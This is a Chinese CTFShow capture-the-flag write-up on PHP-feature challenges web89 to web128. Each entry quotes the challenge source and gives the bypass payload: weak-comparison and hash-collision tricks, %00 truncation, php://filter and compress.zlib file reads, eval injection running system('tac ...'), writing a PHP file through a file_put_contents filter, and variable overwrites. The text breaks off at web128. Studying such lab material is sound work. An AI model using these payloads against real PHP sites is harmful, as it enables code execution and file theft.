CTFShow PHP 特性
web89
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php
include("flag.php"); highlight_file(__FILE__);
if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } }
|
分析:
- 正则表达式匹配: 数字 0-9, 就会 狗带 no no no
- intval() 函数:获取变量的整数值
实验:
- 数组绕过 : ?num[]
web90
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); } }
|
intval($num,0) 第二位参数为 0
iintval() 获取变量的整数值:
从这可以看出,整个函数只读取了传入的字符串中的数字部分且只取字母前面
将 num==4476a 传入将得到 4476 那么 if(intval($num,0) === 4476) 成立 即可获得flag
web91
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php
/* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-18 16:16:09 # @link: https://ctfer.com
*/
show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; }
Notice: Undefined index: cmd in /var/www/html/index.php on line 15 nonononono
|
分析:
正则表达式 : /^php$/im:
^ : 匹配输入字符串的开始位置
$ : 匹配输入字符串的结尾位置
i : 不区分大小写
m : 多行匹配 使边界字符 ^ 和 $ 匹配每一行的开头和结尾
那么这个正则表达式 ,输入的字符串为 php 才为真才能进入此 if 中
正则表示 /^php$/i: 与上一个正则相比 少了 多行匹配。 那么突入点就在 这个 m多匹配上面。
第二个 if 语句不能满足才能得到 flag 意思就是 第二个 if 它不能匹配到字符串 php
第一个 if 语句多行匹配到字符串 php
因此得让第一个多行匹配能匹配到字符串 php 而 第二个单行匹配不能匹配到字符串 php 就得让字符串第一行不为 php 第二行或者第三行…… 为php
构建 playload notphp换行php – > notphp%0a123%0aphp (一共三行 %0a 为换行符的 URL编码)
实验:
- 直接输入 php 效果:
- notphp%0a123%0aphp
web92
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
|
分析:
- intval() 获取变量的整数值,intval ( mixed
$var
[, int $base
= 10 ] ) : int
- 使用指定进制 base 转换(默认十进制) base是 0 ,检测 var 的格式来决定使用的进制:
- if(intval($num,0)==4476){echo $flag;} 此处 == 为弱比较,只比较数值,不比较类型,那么将 4476 转换为八进制(010574)或十六进制(0x117c),就能使比较成立并得到 flag
web93
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php
/* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-18 16:32:58 # @link: https://ctfer.com
*/
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
|
分析:
- 此题相较于上一题 多了正则匹配了 字母, 那么六进制 0x 将失效
- 八进制(010574)
web94
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php
/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-18 16:46:19 # @link: https://ctfer.com
*/
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; } }
|
分析:
- 此题相较于上一题多了 strpos($num,’0’) 查找字符串 0 首次出现的位置
- 小数点绕过: 4476.0
web95
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|\./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; } }
|
分析:
- 相较于上一题对小数点进行了匹配
- 新方法: strpos() 用 %0a(换行), %20(空格), %2b(+), 空格 绕过
- %0a010574, %20010574, %2b010574
web96
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php
/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-18 19:21:24 # @link: https://ctfer.com
*/
highlight_file(__FILE__);
if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); }
}
|
分析:
- if GET 到的字符串为 flag.php 则会狗带。
- 而整个代码,最后 highlight_file() 在 else 上 ,那么 GET 到的 u 必须为 FALSE才能执行else,但是 u 不能等于 flag.php;不过 highlight_file() 使用路径,那么就有 :./flag.php .表示当前目录下的文件,或者绝对路径 : /var/www/html/flag.php
web97
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php
/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-18 19:36:32 # @link: https://ctfer.com
*/
include("flag.php"); highlight_file(__FILE__); if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b'])) echo $flag; else print 'Wrong.'; } ?>
|
分析:
- 看见 md5 就联想到 md5碰撞和数组绕过;三个 =
- 数组
- 强碰撞
web98
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php
/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-18 21:39:27 # @link: https://ctfer.com
*/
include("flag.php"); $_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
|
分析:
- 三目运算符 与 &
1 2 3 4 5 6 7
| $_GET ? $_GET=&$_POST : 'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
$_GET['HTTP_FLAG']=='flag' ? $flag : __FILE__
|
2. POST 会覆盖掉 GET
web99
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php
highlight_file(__FILE__); $allow = array();// 空数组 // 0x36d = 877 for 循环生成 1 到 $i 之间的随机数并存入到数组 $allow // array_push() 相当于 python 中 add()方法 for($i=36; $i<0x36d; $i++){ array_push($allow, rand(1, $i)); } //var_dump($allow); // in_array( mixed $needle, array $haystack[, bool $strict = FALSE] ) : bool // in_array() 检查数组中是否存在某个值 如果没有设置 strict 则使用宽松的比较,就不会检查查找的某个值是否与数组中类型一致 // 检查数组 $allow 中是否存在 $_GET['n'] // file_put_contents($_GET['n'],$_POST['content'])将content与n写入文件 if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); } ?>
|
- 将 写入 1.php,然后访问 1.php并找到 flag36d.php
- 写入 1.php 然后访问
web100
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php
/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-21 22:10:28 # @link: https://ctfer.com
*/
highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); } } } ?>
|
分析:
- is_numeric()检测变量是否为数字或数字字符串
- $v1是数字,$v2不能有分号,$v3有分号,然而 is_numeric()是检测数字的,而$v2和$v3有分号,没分号,这不就矛盾了吗???
- 注意 and && or || 的区别;and 的优先级低于&&也低于=;所以 $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); 先执行 = 赋值将 $v1赋值给 $v0,后面的被忽略
- 本题没有对命令进行过滤
1
| ?v1=1&v2=show_source('ctfshow.php')&v3=;
|
如上图显示出: $flag_is_c2ec8d720x2dd1960x2d46250x2daa520x2d967b8bad6aba 其中 0x2d为十六进制 ‘-‘ (短横线),将其替换
1
| ctfshow{c2ec8d72-d196-4625-aa52-967b8bad6aba}
|
web101
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php
/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-22 00:26:48 # @link: https://ctfer.com
*/
highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){ eval("$v2('ctfshow')$v3"); } } }
?>
|
分析:
- 正则匹配了一大堆东西
- 涉及了新知识 反射类
1
| ?v1=1&v2= echo new Reflectionclass&v3=;
|
这个 flag后面差一个,从 0-9,a-f 猜一个
web102
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php
/* # -*- coding: utf-8 -*- # @Author: atao # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-23 20:59:43
*/
highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; file_put_contents($v3,$str); } else{ die('hacker'); }
?>
|
分析:
- $v4 = is_numeric($v2) and is_numeric($v3); 只要 $v2是数字就行,在PHP 中and 和 && 的优先级不同
- substr($v2,2)表示字符串$v2从第二位开始截取一直到最后
- call_user_func($v1,$s)表示把$v1作为回调函数(可以是系统函数或自定义函数),$s则为回调函数的参数
- 查看了提示 (🐂🍺) hexbin() 转换十六进制字符串为二进制字符串
- /v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=1.php post:v1=hex2bin
- 再查看1.php 右键源码即可得到flag
web103
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php
/* # -*- coding: utf-8 -*- # @Author: atao # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-23 21:03:24
*/
highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; if(!preg_match("/.*p.*h.*p.*/i",$str)){ file_put_contents($v3,$str); } else{ die('Sorry'); } } else{ die('hacker'); }
?>
|
分析:
- 与上一题类似,多了正则匹配任然可以用上一个方法
web104
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php
/* # -*- coding: utf-8 -*- # @Author: atao # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-28 22:27:20
*/
highlight_file(__FILE__); include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2)){ echo $flag; } } ?>
|
分析:
- shal() 函数算字符串的 sha1 散列值 ,
- 此题与 md5() 的解法类似,都不能处理数组且为若比较
- ?v2[]=1 post: v1[]=2
- ?v2=aaK1STfY post:v1=aaO8zKZF
- 其中 aaK1STfY的 sha1的值为 0e76658526655756207688271159624026011393
- 其中 aaO8zKZF的 sha1的值为 0e89257456677279068558073954252716165668
- 它们两者使用若比较且0e的科学计数法的值都为0 因此可以绕过
web105
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php
highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你还想要flag嘛?'; $suces='既然你想要那给你吧!'; foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value; }foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value; } if(!($_POST['flag']==$flag)){ die($error); } echo "your are good".$flag."\n"; die($suces);
?>
|
分析:
- $$为可变变量,即变量覆盖。
- 例如 $a=’A’; $$a=’Z’, $A=Z; $$a先把后面$a解析为’A’,然后 A作为变量$A等于Z
- 懒得组织语言
web106
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php
/* # -*- coding: utf-8 -*- # @Author: atao # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-28 22:38:27
*/
highlight_file(__FILE__); include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2) && $v1!=$v2){ echo $flag; } } ?>
|
分析:
- 与 web104一样
web107
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php
/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-28 23:24:14
*/
highlight_file(__FILE__); error_reporting(0); include("flag.php");
if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; }
} ?>
|
分析:
- 注意这句话: 如果设置列第二个变量 result,变量将会以数组元素的形式存入到这个数组,作为代替。这什么意思呢???看下图
- 如图所示:第二个参数 output,作为了下面三个echo中的数组名,而索引:first, arr, arr 都为 目标字符串中的内容;因此在本题当中: $v2[‘flag’] 中索引 flag 必须为 字符串v1中的内容,所以目前 v1=flag=what what what
1 2 3
| parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag;
|
- 同时考察 md5() 的弱比较,将 $v3 MD5编码过后与 1=flag=what what what 来比较;因此就有如下:
1 2 3 4
| v3=QNKCDZO
post: v1=flag=0e462097431906509019562988736854
|
- 此时 0 == 0 为 True 即可得到flag
web108
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php
/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-28 23:53:55
*/
highlight_file(__FILE__); error_reporting(0); include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error');
} //只有36d的人才能看到flag if(intval(strrev($_GET['c']))==0x36d){ echo $flag; }
?>
|
分析:
- ereg() 为正则表达式匹配,匹配到返回 TRUE,否则返回 FALSE但会被 %00截断
- strrev() 函数为反转字符串
- intval() 获取变量的整数值
- 要绕过第一个if 可以 ?c=a%00xxxx,此时程序只认识%00前面的 a 就会返回TRUE 即可绕过这个if从而不会狗带
- 第二个if() 将传入的字符串先反转再取整数值:
- 0x36d为十六进制,转换为十进制为: 877
- 综上所述有: ?c=a%00778,那么778反转过来为 877 , 877 == 0x36d 即可得到 flag
web109
源码;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php
/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-29 22:02:34
*/
highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ eval("echo new $v1($v2());"); }
}
?>
|
分析:
- 这道题主要考察 内置类🐂🍺 : Exception (PHP异常处理),详情百度
- PHP变量后跟括号:php 变量函数 如果一个变量名后有圆括号,PHP将寻找与变量的值同名的函数,并且将尝试执行它。
- ?v1=Exception&v2=system(‘tac fl36dg.txt’)
web110
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php
/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-29 22:49:10
*/
highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){ die("error v1"); } if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){ die("error v2"); }
eval("echo new $v1($v2());");
}
?>
|
分析:
- 这道题同样考察 内置类的用法且过滤了这么多符号
- 看了大佬的做法
- ?v1=FilesystemIterator&v2=getcwd
- 利用了 FilesystemIterator类与getcwd(获取当前工作目录) 来读取目录中的内容
web111
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php
/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-30 02:41:40
*/
highlight_file(__FILE__); error_reporting(0); include("flag.php");
function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;"); var_dump($$v1); }
if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){ die("error v1"); } if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){ die("error v2"); } if(preg_match('/ctfshow/', $v1)){ getFlag($v1,$v2); } } ?>
|
分析:
- 首先阅读程序上下文,定义了一个函数 getFlag()有两个参数分别是&$v1,&$v2, 其中eval(“$$v1 = &$$v2;”); 表示 $$v1=($$v2的地址)=$v2;
- 其次仍然对$v1,$v2过滤了很多内容
- 然后对$v1进行匹配为 ctfshow才能执行它的分支,才能调用上面定义的函数;那么$v1=ctfshow, $$v1=$ctfshow, $ctfshow=$v2; 这时第一个参数 $v1=ctfshow,出来了,第二个参数可以利用: GLOBALS
- 因此: ?v1=ctfshow&v2=GLOBALS
web112
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php
/* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-30 23:47:49
*/
highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ die("hacker!"); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
|
分析:
- 首先阅读程序上下文,自定义了一个函数 filter() 功能是对传入的参数进行匹配过滤
- 然后 is_file() 函数的功能是:判断给定文件名是否为一个正常的文件,注意 !(非)操作,要不是一个正常的文件路径才会执行它的分支
- 这道题过滤了 input, rot13, base64 但是还有许多伪协议,编码方式没有过滤🐂🍺:
1 2 3 4
| php: php: php: compress.zlib:
|
web113
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php
/* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-30 23:47:52
*/
highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
|
分析:
- 阅读程序上下文,发现在上一题的基础上对 filter进行了匹配,那没事没有对 compress.zlib://进行过滤
- compress.zlib://flag.php
web114
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php
/* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-01 15:02:53
*/
error_reporting(0); highlight_file(__FILE__); function filter($file){ if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; echo "师傅们居然tql都是非预期 哼!"; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; } 师傅们居然tql都是非预期 哼!
|
分析:
- 阅读程序上下文,发现对 compress进行了匹配,但却对 filter 的匹配取消了
- ?file=php://filter/resource=flag.php
- 😕
web115
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php
include('flag.php'); highlight_file(__FILE__); error_reporting(0); function filter($num){ $num=str_replace("0x","1",$num); $num=str_replace("0","1",$num); $num=str_replace(".","1",$num); $num=str_replace("e","1",$num); $num=str_replace("+","1",$num); return $num; } $num=$_GET['num']; if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ if($num=='36'){ echo $flag; }else{ echo "hacker!!"; } }else{ echo "hacker!!!"; } hacker!!!
|
分析:
- 首先阅读程序上下文,定义了一个函数 filter() 过滤了一些内容。
- is_numeric() 判断是否为数字。
- trim() 移除字符串首尾的空白字符(或者其他字符) 重点,大坑。
注意图中 trim() 会去除的字符有: \n” (ASCII 10 (0x0A)),换行符, \x0B” (ASCII 11 (0x0B)),垂直制表符。 “\r” (ASCII 13 (0x0D)),回车符。 有 0A, 0B, 0D 唯独没有 0c , 0x0c 为分页符。这意思就是 trim() 对 字符串首尾有 0x0c的字符不起作用,这™谁知道有这茬啊。
!==: 不全等,会比较类型和值, == 弱类型比较,只比较数值, 注意这点,那么 $num!==’36’ 与 $num==’36’ 将不会矛盾,因此 第一个 if 才为True 才能继续向下执行。
?num=%0c36
web123
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php
/* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com
*/ error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } } ?>
|
分析:
- 这道题不看提示,我真不知道 php 会把 获取到的参数 小数点 自动转化为 下划线 : . _ ; 下划线又等于[, 而且只会转换一次.
- 先看给出的答案: CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo $flag ,其中将 CTF_SHOW.COM 中下划线改为了[ 这样转换了一次后面的小数点将不会自动转换为 _(下划线)
- 本地试验看看:
- 如图所示: 如果原封不动的传入参数,var_dump() 将不会执行,唯有手动将第一个下划线改为[(左中括号才能行),这个特性🐂🍺
web125
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php
error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } } ?>
|
分析:
- 在上一题的基础上增加了 对 flag, echo ,GLOBALS, var_dump, print 的过滤
- GET:?1=flag.php POST: CTF_SHOW=1&CTF[SHOW.COM=2&fun=highlight_file($_GET[1])
- CTF_SHOW=1&CTF[SHOW.COM=2&fun=extract($_POST)&fl0g=flag_give_me
- extract() 函数可以覆盖变量,学到了
web126
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php
error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } }
|
分析:
- 又增加了第 g i f c o d 的过滤
- GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
web127
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <?php
error_reporting(0); include("flag.php"); highlight_file(__FILE__); $ctf_show = md5($flag); $url = $_SERVER['QUERY_STRING'];
function waf($url){ if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){ return true; }else{ return false; } }
if(waf($url)){ die("嗯哼?"); }else{ extract($_GET); }
if($ctf_show==='ilove36d'){ echo $flag; }
|
分析:
- 首先阅读程序上下文,$ctf_show = md5($flag) 将变量 flag md5转换过后赋值给了 变量 ctf_show, 紧接着下一句: $url = $_SERVER[‘QUERY_STRING’]; $_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建,QUERY_STRING:
- 从返回的结果来看,$_SERVER的确包含了服务器的一些信息,其中 QUERY_STING 通过GET方式传入了一些参数并且也将其返回了出来如上图红框处标记,其实这就是通过GET方式传入了一个变量。
- 继续往下看程序代码:函数waf 对 变量 url 近些了过滤;继续往下的 if 判断中else: extract($_GET) 进行了变量覆盖,这里才是真正的变量覆盖,那就要绕过 waf 的阻拦让其为 false 然后 if 判断执行else的变量覆盖。
- 再往下执行代码:发现 变量 ctf_show 全等于 ilove36d, 嘿嘿嘿,谁不喜欢36D啊
- 综上所述 利用变量覆盖达到目的。
- ?ctf_show=ilove36d, 此时不行,对下划线进行了过滤,因为PHP中变量的组成为: 字母,数字,下划线,数字不能开头,如果变量名有 点 和 空格 会将其自动转换为 下划线,那么可以得到:
- ?ctf show=ilove36d
web128
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php
error_reporting(0); include("flag.php"); highlight_file(__FILE__);
$f1 = $_GET['f1']; $f2 = $_GET['f2'];
